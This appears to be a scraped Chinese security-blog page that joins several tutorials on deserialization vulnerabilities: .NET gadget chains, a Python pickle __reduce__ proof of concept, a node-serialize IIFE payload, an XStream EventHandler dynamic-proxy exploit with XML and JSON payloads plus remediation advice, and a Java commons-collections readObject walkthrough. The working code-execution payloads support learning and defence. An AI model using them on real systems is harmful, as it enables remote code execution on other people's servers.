    在序列化过程中,当判断完每个对象的类型定义应用了可序列化[Serializable]特性,.net会利用反射机制来取得每个目标对象的类型中所有需要序列化的实例字段的信息,并读取对应字段的值保存到字节流中。

    .NET的一些类库同样存在反序列化漏洞,本篇主要介绍以下四个:

    XmlSerializer

    Json.Net

    Fastjson

    JavaScriptSerializer

    注:本节内容主要引用自360云影实验室-Ivan1ee的系列文章。

    XmlSerializer反序列化漏洞

    在.NET 框架中的 XmlSerializer 类是一种很棒的工具,它是将高度结构化的 XML 数据 映射为 .NET 对象。

    XmlSerializer 类在程序中通过单个 API 调用来执行 XML 文档和对 象之间的转换。

    转换的映射规则在 .NET 类中通过元数据属性来表示,如果程序开发人 员使用 Type 类的静态方法获取外界数据,并调用 Deserialize 反序列化 xml 数据就会 触发反序列化漏洞攻击。

    攻击者发现污染点可控的时候,可以从两个维度去寻找利用的点,

    第一从 Web 应用程序中寻求可以执行命令或者写 WebShell 的类和方法;

    第二就是利用 ObjectDataProvider、ResourceDictionary、XamlReader 组成的攻击链去执行命令 或者反弹 Shell 。

    打造POC
    首先放上攻击链打造成功后的完整Demo,这段Demo可以复用在任意地方(这里不涉及.NET Core、MVC),如下图

    在这里插入图片描述

    只要XmlSerializer存在反序列化漏洞就可用下面Demo中的内容,涉及到三个主要的技术点,以下分别来介绍原理。

    ObjectDataProvider

    ObjectDataProvider类,它位于System.Windows.Data命名空间下,

    可以调用任意被引用类中的方法,提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数,参考下图
    在这里插入图片描述

    再给TestClass类定义一个ClassMethod方法,代码实现调用System.Diagnostics.Process.Start启动新的进程弹出计算器。

    如果用XmlSerializer直接序列化会抛出异常,因为在序列化过程中ObjectInstance这个成员类型未知,不过可以使用ExpandedWrapper扩展类在系统内部预先加载相关实体的查询来避免异常错误,改写Demo
    在这里插入图片描述

    生成data.xml内容如下:
    在这里插入图片描述

    攻击链第一步就算完成,但美中不足的是因笔者在测试环境下新建的TestClass类存在漏洞,但在生产情况下是非常复杂的,需要寻求Web程序中存在脆弱的攻击点,为了使攻击成本降低肯定得调用系统类去达到命令执行,所以需要引入下面的知识。

    ResourceDictionary

    ResourceDictionary,也称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源。既然是WPF程序,必然设计到前端UI设计语言XAML。

    XAML全称Extensible Application Markup Language (可扩展应用程序标记语言) 基于XML的,且XAML是以一个树形结构作为整体,如果对XML了解的话,就能很快的掌握,例如看下面Demo

    在这里插入图片描述

    第一个标签ResourceDictionary,xmlns:Runtime表示读取System.Diagnostics命令空间的名称起个别名为Runtime

    第二个标签ObjectDataProvider指定了三个属性,x:key便于条件检索,意义不大但必须得定义;ObjectType 用来获取或设置要创建其实例的对象的类型,并使用了XAML扩展;x:Type相当于C#中typeof运算符功能,这里传递的值是System.Diagnostics.Process; MethodName用来获取或设置要调用的方法的名称,传递的值为System.Diagnostics.Process.Start方法用来启动一个进程。

    第三个标签ObjectDataProvider.MethodParameters内嵌了两个方法参数标签,通过System:String分别指定了启动文件和启动时所带参数供Start方法使用。

    介绍完攻击链中ResourceDictionary后,攻击的Payload主体已经完成

    接下来通过XamlReader这个系统类所提供的XML解析器来实现攻击。

    XamlReader

    XamlReader位于System.Windows.Markup空间下,顾名思义就是用来读取XAML文件,

    它是默认的XAML读取器,通过Load读取Stream流中的XAML数据,并返回作为根对象,

    而另外一个Parse方法读取指定字符串中的XAML输入,也同样返回作为根对象,自然Parse 方法是我们关心和寻求的。

    在这里插入图片描述

    只需使用ObjectDataProvider的ObjectInstance方法实例化XamlReader,

    再指定MethodName为Parse,并且给MethodParameters传递序列化之后的资源字典数据,这样就可以完成XmlSerializer反序列化攻击链的打造。

    Json.Net反序列化漏洞

    Newtonsoft.Json,这是一个开源的,读写Json效率非常高的.Net库,在做开发的时候,很多数据交换都是以json格式传输的。

    而使用Json的时候,开发者很多时候会涉及到几个序列化对象的使用:DataContractJsonSerializer,JavaScriptSerializer 和 Json.NET即Newtonsoft.Json。大多数人都会选择性能以及通用性较好Json.NET,这个虽不是微软的类库,但却是一个开源的世界级的Json操作类库。

    用它可轻松实现.Net中所有类型(对象,基本数据类型等)同Json之间的转换,在带来便捷的同时也隐藏了很大的安全隐患,在某些场景下开发者使用DeserializeObject方法序列化不安全的数据,就会造成反序列化漏洞从而实现远程RCE攻击。

    漏洞的触发点也是在于TypeNameHandling这个枚举值,如果开发者设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞,为此官方文档里也标注了警告,当您的应用程序从外部源反序列化JSON时应谨慎使用TypeNameHandling。

    打造POC
    此处继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下上文或者http://r6d.cn/MfQY,首先来序列化TestClass

    在这里插入图片描述

    指定TypeNameHandling.All、TypeNameAssemblyFormatHandling.Full后得到序列化后的Json字符串

    在这里插入图片描述

    如何构造System.Diagnostics.Process序列化的Json字符串呢?笔者需要做的工作替换掉ObjectInstance的 t y p e 、 M e t h o d N a m e 的 值 以 及 M e t h o d P a r a m e t e r s 的 type、MethodName的值以及MethodParameters的 typeMethodNameMethodParameterstype值,删除一些不需要的Member、最终得到的反序列话Json字符串如下

    在这里插入图片描述

    再经过JsonConvert.DeserializeObject反序列化(注意一点指定TypeNameHandling的值一定不能是None),成功弹出计算器。

    在这里插入图片描述

    Fastjson 反序列化漏洞

    Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置方法JSON.ToJSON可以快速序列化.Net对象。让你轻松实现.Net中所有类型(对象,基本数据类型等)和Json之间的转换。

    FastJson和老牌Json.Net、Stack等比起来速度和性能优势非常明显,究其原因组件的作者利用反射生成了大量的IL代码,而IL代码是托管代码,可以直接给运行库编译所以性能就此大大提升。但在某些场景下开发者使用JSON.ToObject方法序列化不安全的数据时候会造成反序列化漏洞从而实现远程RCE攻击。

    漏洞的触发点也是在于被序列化的Json中的$types是否可控,为此官方文档里也标注了警告。

    打造POC
    继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下sourse,因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先得考虑序列化ProcessStartInfo,如下代码Demo
    在这里插入图片描述

    一步步来看,开始从GetType获取当前类的实例,返回Type类型变量t3;

    然后通过Type.GetProperty方法找到指定为FileName的公共属性并赋值给PropertyInfo类型的变量propertyName;

    再使用PropertyInfo.SetValue方法设置对象的指定属性值“cmd.exe“,同理为Arguments属性指定值。

    下一步再来序列化Process类,并调用StartInfo启动程序,Demo如下

    在这里插入图片描述

    然后需要对其做减法,去掉无关的System.RuntimeType、System.IntPtr数据,最终得到反序列化Payload
    在这里插入图片描述

    FastJson定义的JSON类定义了多个ToObject重载方法,对于反序列化漏洞无需关心重载的方法参数是一个还是多个,它们都可以触发漏洞

    在这里插入图片描述

    通过下面的Demo , JSON.ToObject(payload)反序列化成功弹出计算器。

    在这里插入图片描述

    JavaScriptSerializer反序列化漏洞

    在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,

    它是.NET2.0之后内部实现的序列化功能的类,

    位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用,让开发者轻松实现.Net中所有类型和Json数据之间的转换,但在某些场景下开发者使用Deserialize 或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞。

    打造POC
    默认情况下JavaScriptSerializer不会使用类型解析器,所以它是一个安全的序列化处理类,漏洞的触发点也是在于初始化JavaScriptSerializer类的实例的时候是否创建了SimpleTypeResolver类,如果创建了,并且反序列化的Json数据在可控的情况下就可以触发反序列化漏洞,借图来说明调用链过程
    在这里插入图片描述

    我们还是选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下http://r6d.cn/MfMW,

    因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性,

    例如指定文件名、指定启动参数,所以首先得考虑序列化ProcessStartInfo,这块可参考http://r6d.cn/MfMC,之后对生成的数据做减法,去掉无关的System.RuntimeType、System.IntPtr数据,最终得到反序列化Poc
    在这里插入图片描述

    编写好触发代码,用Deserialize反序列化Json成功弹出计算器。

    在这里插入图片描述

    在这里插入图片描述

    4.Python

    Pickle库基础

    Python提供的pickle模块可以序列化对象并保存到磁盘中,并在需要的时候读取出来,任何对象都可以执行序列化操作。

    Pickle模块中最常用的函数为:

    (1)pickle.dump(obj, file, [,protocol])

    函数的功能:将obj对象序列化存入已经打开的file中。

    参数讲解:

    obj:想要序列化的obj对象。

    file:文件名称。

    protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

    (2)pickle.load(file)

    函数的功能:将file中的对象序列化读出。

    参数讲解:

    file:文件名称。

    (3)pickle.dumps(obj[, protocol])

    函数的功能:将obj对象序列化为string形式,而不是存入文件中。

    参数讲解:

    obj:想要序列化的obj对象。

    protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

    (4)pickle.loads(string)

    函数的功能:从string中读出序列化前的obj对象。

    参数讲解:

    string:文件名称。

    魔法方法
    反序列化漏洞出现在 __reduce__()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。

    而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞。

    Python反序列化利用

    漏洞可能出现的位置:

    解析认证token、session的时候

    将对象Pickle后存储成磁盘文件

    将对象Pickle后在网络中传输

    参数传递给程序

    命令执行利用

    import pickle
    
    import os
    
    
    
    classTest(object):
    
    def __reduce__(self):
    
    #被调用函数的参数
    
            cmd ="/usr/bin/id"
    
    return(os.system,(cmd,))
    
    
    
    if __name__ =="__main__":
    
        test =Test2()
    
    #执行序列化操作
    
        result1 = pickle.dumps(test)
    
    #执行反序列化操作
    
        result2 = pickle.loads(result1)
    
    
    
    __reduce__()魔法方法的返回值:
    
     return(os.system,(cmd,))
    
     1.满足返回一个元组,元组中有两个参数
    
     2.第一个参数是被调用函数 : os.system()
    
     3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
    
     4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")
    

    执行:

    在这里插入图片描述

    5.JavaScript

    JavaScript本身并没有反序列化的实现,但是一些库如node-serialize、serialize-to-js等支持了反序列化功能。这些库通常使用JSON形式来存储数据,但是和原生函数JSON.parse、 JSON.stringify不同,这些库支持任何对象的反序列化,特别是函数,如果使用不当,则可能会出现反序列化问题。

    Node.js 反序列化漏洞

    Payload构造

    下面是一个最简单的例子,首先获得序列化后的输出

    var y ={
    
     rce :function(){
    
    require('child_process').exec('ls /',function(error, stdout, stderr){ console.log(stdout)});
    
    },
    
    }
    
    var serialize =require('node-serialize');
    
    console.log("Serialized: \n"+ serialize.serialize(y));
    

    上面执行后会返回

    {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"}
    

    不过这段payload反序列化后并不会执行,但是在JS中支持立即调用的函数表达式(Immediately Invoked Function Expression),比如 (function () { /* code */ } ()); 这样就会执行函数中的代码。那么可以使用这种方法修改序列化后的字符串来完成一次反序列化。最后的payload测试如下:

    var serialize =require('node-serialize');
    
    var payload ='{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
    
    serialize.unserialize(payload);
    

    在实际场景中,node-serialize等库的应用其实是很少的,并且执行命令需要内部实现,所以该漏洞的影响不大。

    三.利用工具

    Ysoserial

    ysoserial是一个”gadget chains (利用链)”的集合工具,主要面向java应用/环境,在合适的条件下,可以利用Java应用程序对对象进行不安全的反序列化。

    主驱动程序将用户指定的命令,用用户指定的gadget chains包装起来,然后将这些对象序列化到stdout。

    当一个在classpath上具有所需gadget 的应用程序不安全地反序列化这些数据时,chains将自动被调用,并导致命令在应用程序主机上执行。

    Ysoserial最初包含Apache Commons Collections (3.x and 4.x)、Spring Beans/Core (4.x)和Groovy (2.3.x)的gadget chains。

    后来又更新了,加入了JRE <= 1.7u21和其他一些库的gadget chains。

    PHPGGC

    PHPGGC 是一款能够自动生成主流框架的序列化测试payload的工具,类似 Java 中的 ysoserial, 当前支持的框架包括CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii和ZendFramework,可以说是反序列化的武器库。

    参考
    php-unserialize-初识(http://r6d.cn/MfKk)

    不安全的反序列化(http://r6d.cn/MfK4)

    PHP反序列化入门之寻找POP链(http://r6d.cn/MfJY)

    JAVA反射机制(http://r6d.cn/MfLb)

    深入理解 JAVA 反序列化漏洞(https://paper.seebug.org/312/)

    PHPGGC: PHP Generic Gadget Chain(http://r6d.cn/MfKV)

    黑客渗透视频教程,扫码免费领/进群

    在这里插入图片描述

    展开全文
  • XStream反序列化漏洞研究

    千次阅读 2020-04-16 19:20:40
    使用 XStream 不用任何映射就能实现多数 Java 对象的序列。在生成的 XML 中对象名变成了元素名,类中的字符串组成了 XML 中的元素内容。使用 XStream 序列的类不需要实现 Serializable 接口。XStream 是一种...

    0x00 XStream介绍和简单使用

    一、介绍

    XStream是一个将java对象序列化为xml以及从xml反序列化为java对象的开源类库。使用 XStream 不用任何映射就能实现多数 Java 对象的序列化。在生成的 XML 中对象名变成了元素名,类中的字符串组成了 XML 中的元素内容。使用 XStream 序列化的类不需要实现 Serializable 接口。XStream 是一种序列化工具而不是数据绑定工具,就是说不能从 XML 或者 XML Schema Definition (XSD) 文件生成类。和其他序列化工具相比,XStream 有三个突出的特点:

    • XStream 不关心序列化/反序列化的类的字段的可见性。
    • 序列化/反序列化类的字段不需要 getter setter 方法。
    • 序列化/反序列化的类不需要有默认构造函数。

    不需要修改类,使用 XStream 就能直接序列化/反序列化任何第三方类。

    二、使用案例

    1、POM引入该三方软件

    <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.10</version>
    </dependency>

    2、待序列化的类:

    class Person
    {
        private String name;
        private int age;
        public Person(String name,int age)
        {
            this.name=name;
            this.age=age;
        }
        @Override
        public String toString()
        {
            return "Person [name=" + name + ", age=" + age + "]";
        }
    }

     

    3、使用XStream序列化和反序列化Person类:

    import com.thoughtworks.xstream.XStream;
    import com.thoughtworks.xstream.converters.reflection.ObjectAccessException;
    import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
    import com.thoughtworks.xstream.io.xml.DomDriver;
    import com.thoughtworks.xstream.mapper.DefaultMapper;
    
    public static void main(String[] args) throws Exception {
        /*XML序列化*/
        Person person=new Person("张四",19);
        XStream xstream = new XStream(new DomDriver());//生成并设置XML解析器
        //序列化
        String xml = xstream.toXML(person);
        System.out.println(xml);
        //反序列化
        person=(Person)xstream.fromXML(xml);
        System.out.println(person);
    }

    4、输出:

     

    0x01 XStream动态代理漏洞

    一、漏洞演示

    演示版本

    <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.10</version>
    </dependency>

    Payloaddemo001.xml

    <dynamic-proxy>
        <interface>com.huawei.XtreamTest.car</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>

    代码

    系统中存在的接口

    public interface car {
        void start();
        void run();
        void stop();
    }

    漏洞代码:

    String path = this.getClass().getClassLoader().getResource("demo001.xml").getPath();
    InputStream in = new FileInputStream(path);
    XStream xs = new XStream();
    car c = (car)xs.fromXML(in);
    c.run();//触发动态代理处理程序

    运行效果:恶意代码被执行,计算器被调出

     

    二、基础知识预备

    1、JAVA代理

    Java中代理的作用与使用详见:https://www.jianshu.com/p/f56e123817b5。下面简单介绍下XStream漏洞产生原因的动态代理机制。

    Java中的动态代理依靠反射来实现,代理类和委托类不需要实现同一个接口。委托类需要实现接口,否则无法创建动态代理。代理类在JVM运行时动态生成,而不是编译期就能确定。

    Java动态代理主要涉及到两个类:java.lang.reflect.Proxy和java.lang.reflect.InvocationHandler。代理类需要实现InvocationHandler接口或者创建匿名内部类,而Proxy用于创建动态代理。我们用动态代理来实现HelloService

     

    package com.huawei.XtreamTest;
    
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    import java.lang.reflect.Proxy;
    
    //接口(Subject)
    interface HelloService {
        void sayHello();
        void goodBye();
    }
    
    //委托类
    class HelloServiceImpl implements HelloService {
        @Override
        public void sayHello() {
            System.out.println("Hello World!");
        }
    
        @Override
        public void goodBye() {
            System.out.println("goodBye!");
        }
    }
    
    //动态代理类
    class HelloServiceDynamicProxy  implements InvocationHandler{
        private HelloService helloService;
    
        public HelloServiceDynamicProxy(HelloService helloService) {
            this.helloService = helloService;
        }
    
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            System.out.println("Before say hello...");
            Object ret = method.invoke(helloService, args);
            System.out.println("After say hello...");
            return ret;
        }
    }
    
    //测试类
    public class dynamicProxy {
        public static void main(String[] args){
            HelloService helloService = new HelloServiceImpl();
            InvocationHandler handler = new HelloServiceDynamicProxy(helloService);
            HelloService dynamicProxy = (HelloService) Proxy.newProxyInstance(helloService.getClass().getClassLoader(), helloService.getClass().getInterfaces(),handler );
            dynamicProxy.sayHello();
            dynamicProxy.goodBye();
        }
    }

     

    运行结果 

     2、EventHandler

           Java.beans.EventHandler也是实现了InvocationHandler接口的动态代理类处理程序,EventHandler能够起到监控接口中的方法被调用后执行EventHandler中成员变量指定的方法。其中含有以下成员:

    这些成员变量的作用为:

    target:指代委托类

    action:代理类调用函数时会调用action指定的方法

    下面给个例子:

    package com.huawei.XtreamTest;
    
    import java.beans.EventHandler;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    
    
    //接口(Subject)
    interface HelloService1 {
        void sayHello();
        void goodBye();
    }
    
    //委托类
    class HelloServiceImpl1 implements HelloService1 {
        @Override
        public void sayHello() {
            System.out.println("Hello World!");
        }
    
        @Override
        public void goodBye() {
            System.out.println("goodBye!");
        }
    }
    
    public class EventHandlerTest {
        public static void main(String[] args){
            HelloService1 hs1 = new HelloServiceImpl1();
            //监听sayHello方法
    /*        InvocationHandler ih1 = new EventHandler(new java.lang.ProcessBuilder("calc"),"start",null,"sayHello");
            HelloService1 dp = (HelloService1) Proxy.newProxyInstance(hs1.getClass().getClassLoader(), hs1.getClass().getInterfaces(),ih1 );
            dp.sayHello();
            dp.goodBye();*/
    
            //监听所有委托类的方法,只要委托类的方法被调用直接调用EventHandler中指定的方法
            InvocationHandler ih2 = new EventHandler(new java.lang.ProcessBuilder("calc"),"start",null,null);
            HelloService1 dp1 = (HelloService1) Proxy.newProxyInstance(hs1.getClass().getClassLoader(), hs1.getClass().getInterfaces(),ih2 );
            dp1.sayHello();
            dp1.goodBye();
        }
    }

    演示效果:

    通过调试,第一次出现计算器,关闭计算机继续执行后计算机被再次调出。

    二、漏洞原理讲解

    1、XStream动态代理类

    此漏洞是因为XStream提供了一个动态代理的转换器,允许在反序列化中进行动态代理绑定。

    看下一该动态代理转换器的行为:

    该动态代理转换器反序列化函数unmashall有四个重要步骤:

    1、获取接口,待代理的接口

    2、用Proxy.newProxyInstance函数为接口创建代理,但是委托类处理程序为DUMMY。因当前代码还没有反序列化处理程序类,先占位。

    3、转换处理程序类

    4、将反序列出来的处理程序类写入Proxy,之前为DUMMY

    上述流程和前文动态代理描述是一致的。所以,可以设想反序列化数据中通过为系统中存在的接口进行动态代理,通过反序列化EventHandler处理程序代理接口,则接口调用时就会调用我们反序列化中的EventHandler指定的taget和Action事件。

    通过上述的代码和EventHandler的结构,可以设想如下结构的动态代理类XML结构。

    <???>
        <interface>com.XXX.XXX</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </???>

           此时需要搞清楚,XStream中动态代理类的XML元素的名称,下面一个动态代理的相关类注释中表明别名也可用于指代动态代理的实例:

    所以最终设想的一个Payload如下:

    <dynamic-proxy>
        <interface>com.XXX.YYY </interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>

    该XML被反序列化后的期望是通过XStream提供的动态代理类,反序列化时为接口设置一个代理的处理程序,该处理程序通过设置taget和action成员达成接口中的程序一旦被调用,就会执行计算器,而事实上是可以的。

    2、恶意Payload反序列化过程讲解

    Payload使用上述XML文件,基于XStream版本号1.4.10。

    1、反序列化程序

    2、开始反序列化

    第一处断点根据XML根获取类型,Payload获取的对象为动态代理类

    3、找到动态代理类反序列化的转换器,转换器的工作原理就是使用proxy对象的newProxyInstance函数为接口进行代理处理器。

    通过找到的转换器通过第二处函数反序列化出动态代理对象

    4、最终调用到前文所述的动态代理转换器,此处不再赘述

    5、上述函数退出后,将EventHandler制定的动作绑定到了XML文件设置的接口上,当接口中的函数被调用,就会执行动态代理设置的处理器动作。

    3、其他通用payload

    适用版本:1.4.5、1.4.6 、1.4.10

    Payload如下:demo001.xml

    <sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
    </sorted-set>

    Payload代码

    String path = this.getClass().getClassLoader().getResource("demo001.xml").getPath();
    InputStream in = new FileInputStream(path);
    XStream xs = new XStream();
    xs.fromXML(in);

    Payload的核心没有变化,作为了SortedSet对象的元素。Payload代码的区别是无需获取反序列化出的对象并调用对象的方法,而会直接执行恶意代码。实际原因是SortedSet内部会自动调用Comparable接口中的compareto方法进行比较,所以Payload XML数据中为java.lang.Comparable设置了代理处理器,达到反序列化过程中自动触发时间处理器调用恶意代码。核心问题代码:

    4、1.4.7-1.4.9无法动态代理漏洞利用的原因

    在反射类的转换器中判断当前类是否能够转换

    注意到代码中特意判断当前类如果为EventHandler类型,则无法序列化。

    5、1.4.11及以后的版本

    可能为了防止用户忘记将EventHandler设置黑名单。1.4.11以后的版本,XStream增加了内部的黑名单转换器,实际效果是EventHandler设置为了黑名单,直接杜绝了使用XStream反序列化EventHandler。

    InternalBlackList类中的的反序列化函数直接是抛出异常

    三、XML和JSON对应的PayLoad

    版本

    XML-Payload

    JSON-Payload

    备注

    <=1.4.6

    1.4.10

    <dynamic-proxy>

    <interface>com.huawei.XtreamTest.car</interface>

        <handler class="java.beans.EventHandler">

            <target class="java.lang.ProcessBuilder">

                <command>

                    <string>calc</string>

                </command>

            </target>

            <action>start</action>

        </handler>

    </dynamic-proxy>

    {

    "dynamic-proxy": {

                  "interface": "com.huawei.XtreamTest.car",

                  "handler": {

                                "@class": "java.beans.EventHandler",

                                "target": {

                                              "@class": "java.lang.ProcessBuilder",

                                              "command": [{

                                                            "string": "calc"

                                                            }],

                                                            "redirectErrorStream": false

                                              },

                                "action": "start"

                                }

                  }

    }

    需要代理的接口调用接口中的任意方法

    1.4.5、1.4.6 、1.4.10

    <sorted-set>

    <string>foo</string>

    <dynamic-proxy>

        <interface>java.lang.Comparable</interface>

        <handler class="java.beans.EventHandler">

            <target class="java.lang.ProcessBuilder">

                <command>

                    <string>calc</string>

                </command>

            </target>

            <action>start</action>

        </handler>

    </dynamic-proxy>

    </sorted-set>

    {

      "sorted-set": {

        "string": "foo",

        "dynamic-proxy": {

          "interface": "java.lang.Comparable",

          "handler": {

            "@class": "java.beans.EventHandler",

            "target": {

              "@class": "java.lang.ProcessBuilder",

              "command": { "string": "calc" }

            },

            "action": "start"

          }

        }

      }

    }

    无需代理的接口调用函数,是要反序列化就能执行

    四、测试方法

    1、源码搜索关键字com.thoughtworks.xstream.XStream,确认产品是否使用XStream组件

    2、全局.Java文件搜索关键词fromXML,确认是否为XStream函数调用的地方

    3、查看fromXML参数是否外部可控

    4、若参数外部可控,查看XStream版本,例如POM文件中确定。

    5、根据版本号有不同的问题确认方法:

    版本号

    确认方法

    1.4.10

    查看代码中是否使用了XStream提供的安全机制,重点关注产品是否使用了黑名单函数拒绝EventHandler等危险类,例如:xs.denyTypes(new Class[]{java.beans.EventHandler.class})。其它Gadget中的危险类也需要加入其中,参考其他三方件和XStream的组合漏洞。注:安全框架和黑白名单机制在1.4.10才出现

    1.4.7-1.4.9和>=1.4.11

    XStream本身无问题,这些版本禁用了EventHandler反序列化。但是存在其他三方件的gadget会产生其它问题。参加其他文档。总之,fromXML若可控且系统中存在已知gadget组件,则是有问题的

    <=1.4.6

    若fromXML参数可控,必定是有问题的。查看程序是否实现对获取的XML数据进行过滤。注意是否过滤XML文件中的EventHandler和已知gadget的危险类元素

    五、整改和安全编码建议

    1、建议升级到最新版本1.4.11及以上版本

    2、并使用XStream提供的安全机制,建议使用其中的白名单机制。代码如下所示:

    denyTypes函数拒绝了EventHandler的反序列化(注1.4.11及以后的版本EventHandler为内部默认黑名单,无需再次设置,此处只是例子)。denyTypes最低要加入已知gadget危险类。

    setupDefaultSecurity设置了一些默认的安全类。

    XStream提供的安全机制函数如下(详情见XSream源码XStream.java中的相关函数):

    白名单设置函数:

    黑名单设置函数:

    添加默认的白名单

     

    展开全文
  • 之前听别人讲解反序列漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后发现之前听的迷糊更多是因为对于反序列漏洞思路不够清晰,明白了反序列的流程之后,...

    目录

    序列化的过程

    readObject方法

    反射链

    完成反序列漏洞实践

    结论


    之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后发现之前听的迷糊更多是因为对于反序列漏洞思路不够清晰,明白了反序列的流程之后,反序列化漏洞很好理解。

    下面的内容,我将详细论诉反序列化漏洞的利用思路。

    序列化的过程

    这里梳理一下正常的序列化的流程,将一个类进行序列化存储成二进制文件,然后再将该文件进行反序列化生成对象。

    首先新建一个新的user类作为需要被反序列化的类使用,类截图如下图所示:

    code 1:

    Clipboard Image.png

    需要被反序列化的类新建完成,现在利用writeobject()方法,将类反序列化存储在本地,具体实现过程如下:

    code 2:

    Clipboard Image.png

    解释一下上述截图的代码,首先是打开一个输入流的文件对象out,然后利用writeobject方法,将user对象存储到bin.bin文件中,run test之后,文件内容如下图所示:

    Clipboard Image.png

    上图是本地存储的被实例化的对象user。

    下面利用readobject方法将对象还原,具体实现过程如下图所示:

    code 3:

    Clipboard Image.png

    解释一下上图的过程,首先打开bin.bin的输入流,利用readobject方法读取文件中的内容,并强制类型转换成user对象,因为此处就是user的对象序列化,因此不存在ClassNotFound异常,最后输出序列化user对象的name属性的值,run test结果如下图所示:

    code 4:

    Clipboard Image.png

    readObject方法

    这里我将会提到readObject方法,为什么要单独拿出来,因为如果readObject方法被反序列化的类重写,虚拟机在反序列的过程中,会使用被反序列化类的readObejct方法。

    也就是说如果我在user类中重写了readObject方法,虚拟机在反序列过程中会运行user类中的readObject方法,如何证明呢?

    很简单,跟着我一步步来吧,首先在user类中重写readObject方法,如下图所示:

    code 5:

    Clipboard Image.png

    现在改变到此为止,利用code1的run方法,将user对象重新进行序列化,之后利用刚才code3的run2方法,将之前生成的bin.bin文件进行反序列化。

    利用code1序列化截图如下:

    code 6:

    Clipboard Image.png

    打开bin.bin文件截图如下图所示:

    Clipboard Image.png

    bin.bin文件生成之后再利用code 3代码,将bin.bin文件生成user对象,并且虚拟机会执行user类中重写的readobject方法,执行结果如下图所示:

    code 7:

    Clipboard Image.png

    此处反序列的过程中,执行了user类中的readObject方法,我估计很多人没有认真看上面的文字描述,因此这里放上user类的全览,如下图:

    code 8:

    Clipboard Image.png

    上面文章部分中,最后将code 6和code 7两幅截图联系起来理解,这里我们知道java反序列化漏洞成因是因为,需要被反序列化的类中重写了readObject方法,然而重写的readObject方法中执行了命令。

    我相信有些常识的开发者都不会直接将命令写在readObject中,因此此处就需要通过反射链来进行任意代码执行了。

    首先介绍几个可以被序列化的类并且重写了readobject方法,ArrayList,AnnotationInvocationHandler类等等。

    因为后面文章会用到AnnotationInvocationHandler类,因此此处查看一下AnnotationInvocationHandler的源码中的readobject方法,如下图所示:

    code 9:

    Clipboard Image.png

    大家先记住这个地方,我稍后再来解释这个作用。

    反射链

    这里我将会选用的commons-collections类中的transform链来作为反射链,详细的反射链如下图所示:

    code 10:

    Clipboard Image.png

    至于为什么这里会是反射链,这里推荐大家设个断点,逐步调试查看一些源码解释就懂了,网上的解释也很详细,这里不详细说了。

    由上图可知,我们得到了一个ChainedTransformer对象。这里做一个小实验,实现代码如下图所示:

    code 11:

    Clipboard Image.png

    执行结果如下图所示:

    Clipboard Image.png

    从上图中我们可以看到,执行了transform方法就弹出了计算器,为什么呢?我们进入到ChainedTransformer源码中查看,transform方法如下图所示:

    code 12:

    Clipboard Image.png

    上图中一切就明朗了,对transform数组依次执行transform方法,反射出了java代码执行。

    这里我们找到一个类使用了ChainedTransformer类的transform方法,这个类就是TransformedMap方法,使用transform方法如下图所示:

    Clipboard Image.png

    找到valueTransformer方法的定义位置,如下图所示:

    Clipboard Image.png

